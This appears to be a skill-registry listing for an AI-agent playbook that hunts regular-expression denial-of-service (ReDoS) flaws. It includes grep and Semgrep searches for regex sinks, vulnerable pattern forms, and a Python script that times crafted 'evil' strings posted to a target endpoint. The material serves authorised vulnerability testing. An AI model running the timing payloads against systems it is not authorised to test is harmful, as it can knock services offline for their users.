Hunt ReDoS (CWE-1333, Catastrophic Backtracking) — identify regexes with nested quantifiers or overlapping alternation that cause super-linear matching time, trace tainted input paths to regex sinks, demonstrate timing PoC, and validate with response-time delta. Covers PCRE/RE2/V8/Python re engine differences. Triggers on: 'ReDoS', 'regex denial', 'catastrophic backtracking', 'redos', 'regex complexity', 'nested quantifiers', 'regex amplification', 'CWE-1333'.
73
91%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Regular Expression Denial of Service exploits O(2^n) or O(n^2) matching time in backtracking engines. One crafted string can peg a CPU thread for seconds or minutes against an otherwise tiny pattern.
Not all regex engines backtrack:
| Engine | Language/Runtime | Backtracks? | Vulnerable? |
|---|---|---|---|
| PCRE / PCRE2 | C, PHP, Apache, nginx | Yes | YES |
re module | Python (pre-3.11 re, regex) | Yes | YES |
java.util.regex | Java | Yes | YES |
RegExp | JavaScript / V8 | Yes | YES |
System.Text.RegularExpressions | .NET | Yes (w/ timeout option) | YES |
regexp package | Go | DFA-based (RE2) | NO |
Oniguruma | Ruby | Yes | YES |
| RE2 | C++, re2 Python binding | DFA-based | NO |
If the target uses RE2 or Go's regexp, skip this playbook — no
backtracking, no ReDoS.
# Python
grep -rn 're\.match\|re\.search\|re\.fullmatch\|re\.compile\|regex\.match' /workspace/src \
| grep -v '#' | grep -v 'test_' | grep -v '_test\.py'
# Node.js / TypeScript
grep -rn 'new RegExp\|\.match(\|\.search(\|\.test(' /workspace/src \
--include='*.js' --include='*.ts' | grep -v 'node_modules'
# Java
grep -rn 'Pattern\.compile\|\.matches(\|\.find(\|String\.matches' /workspace/src \
--include='*.java'
# PHP
grep -rn 'preg_match\|preg_replace\|preg_split' /workspace/src --include='*.php'
# Ruby
grep -rn 'match\|=~\|Regexp\.new\|\.scan(' /workspace/src --include='*.rb' \
| grep -v '#'
# Semgrep for tainted-input-to-regex-sink
semgrep --config p/regex /workspace/src --sarif -o /workspace/sem-redos.sarif 2>/dev/nullFor each hit, determine whether the regex pattern is:
A regex is potentially catastrophic if it can match the same character through multiple paths. The two canonical forms:
(a+)+, (a*)*, ([a-z]+)+, (a|a)+
The inner group can match one character in multiple ways → exponential
backtracking on a string like aaaa...b.
(a|aa)+, (a|ab)+c, (x+|y+)+z
Two branches can match the same prefix → exponential when neither eventually matches the suffix.
# Find potentially catastrophic regexes (grep heuristic)
grep -rn "$(printf \
'(\([^)]*[+*][^)]*\)[+*])\|(\([^)]*|\[^)]*\)[+*])\|(\([^)]*[+*]\)\{[2-9]\})')" \
/workspace/src 2>/dev/null | grep -v 'node_modules\|\.min\.js'
# Better: use vuln-regex-detector (if available)
python3 -c "
import subprocess, json, os, sys
# Try to find all regex literals in Python files
import ast, glob
for path in glob.glob('/workspace/src/**/*.py', recursive=True):
try:
tree = ast.parse(open(path).read())
for node in ast.walk(tree):
if isinstance(node, ast.Call):
fn = getattr(node.func, 'attr', '') or getattr(node.func, 'id', '')
if fn in ('compile','match','search','fullmatch'):
for arg in node.args:
if isinstance(arg, ast.Constant) and isinstance(arg.value, str):
print(path, node.lineno, repr(arg.value))
except Exception:
pass
" 2>/dev/null | head -50Patterns warranting deeper analysis (flag these):
(X+)+, (X*)+, (X+)*(ab|a)+, (abc|ab)+([a-z ]+)+For each flagged regex, trace whether attacker-controlled data reaches the
pattern, the string argument, or both:
string tainted, pattern static → ReDoS possible if pattern is vulnerablepattern tainted → also check for Regex Injection (attacker adds their own
quantifiers → instant ReDoS)For web endpoints, check:
A valid PoC must demonstrate measurable time difference between a benign and a malicious input against the same endpoint.
For a vulnerable pattern (a+)+$ on a string of length n:
"a" * n + "b" (forces full backtracking on the trailing b)"a" * n (matches instantly)General evil-string construction:
import time, requests
TARGET = "https://<TARGET>/api/validate"
PUMP = "a"
FAIL = "!"
for n in [10, 100, 500, 1000, 5000, 10000]:
evil = PUMP * n + FAIL
benign = PUMP * n
t0 = time.time(); requests.post(TARGET, json={"input": benign}, timeout=30); t_benign = time.time()-t0
t0 = time.time(); requests.post(TARGET, json={"input": evil}, timeout=30); t_evil = time.time()-t0
print(f"n={n}: benign={t_benign:.3f}s evil={t_evil:.3f}s ratio={t_evil/max(t_benign,0.001):.1f}x")
if t_evil > 3.0:
print(">> CONFIRMED REDOS — halting to avoid DoS")
breakUse validate_finding with:
success_patterns:
- "<time_evil> > 2.0" # or match pattern in response body if timed-out
- "Response time delta > 2s"
negative_command: same request with a short benign input (n=5)
negative_patterns: ["< 0.1s", "< 0.5s"]Minimum bar for a valid ReDoS finding:
V8 added backtrack-limit mitigations in Node 16+ and Chrome 93+
(RegExp.prototype.exec timeout, but controllable via --max-old-space-size).
Still exploitable with long inputs or on older Node versions.
reNo backtrack limit by default. re.fullmatch on complex patterns blocks
the event loop in async frameworks (FastAPI, aiohttp) — single thread DoS.
Test with: python3 -c "import re,time; t=time.time(); re.match(r'(a+)+$','a'*25+'b'); print(time.time()-t,'s')".
java.util.regexThread-blocking. Servlet containers / Spring endpoints that call
Pattern.matches(taintedOrBadPattern, input) without timeout will pin a
thread. Test with StopWatch timing.
preg_matchHas pcre.backtrack_limit (default 1000000) and pcre.recursion_limit
(default 100000). Hitting limits returns false (not an error by default),
but causes CPU spike before the limit kicks in.
| Scenario | CVSS | Score |
|---|---|---|
| Unauthenticated endpoint, n=10K → 10s+ | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | 7.5 |
| Authenticated, single user DoS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H | 6.5 |
| Async framework (entire event loop blocked) | AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H | 8.6 |
ReDoS alone is a DoS primitive. Promote via:
enables edge to availability impact nodekg_add_node("vulnerability", "ReDoS in /api/validate::input",
props={"pattern": "(a+)+$", "file": "api/validators.py", "line": 42,
"cwe": "CWE-1333", "evil_input_len": 10000, "evil_time_s": 12.3,
"key": "redos:api-validate-input"})0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.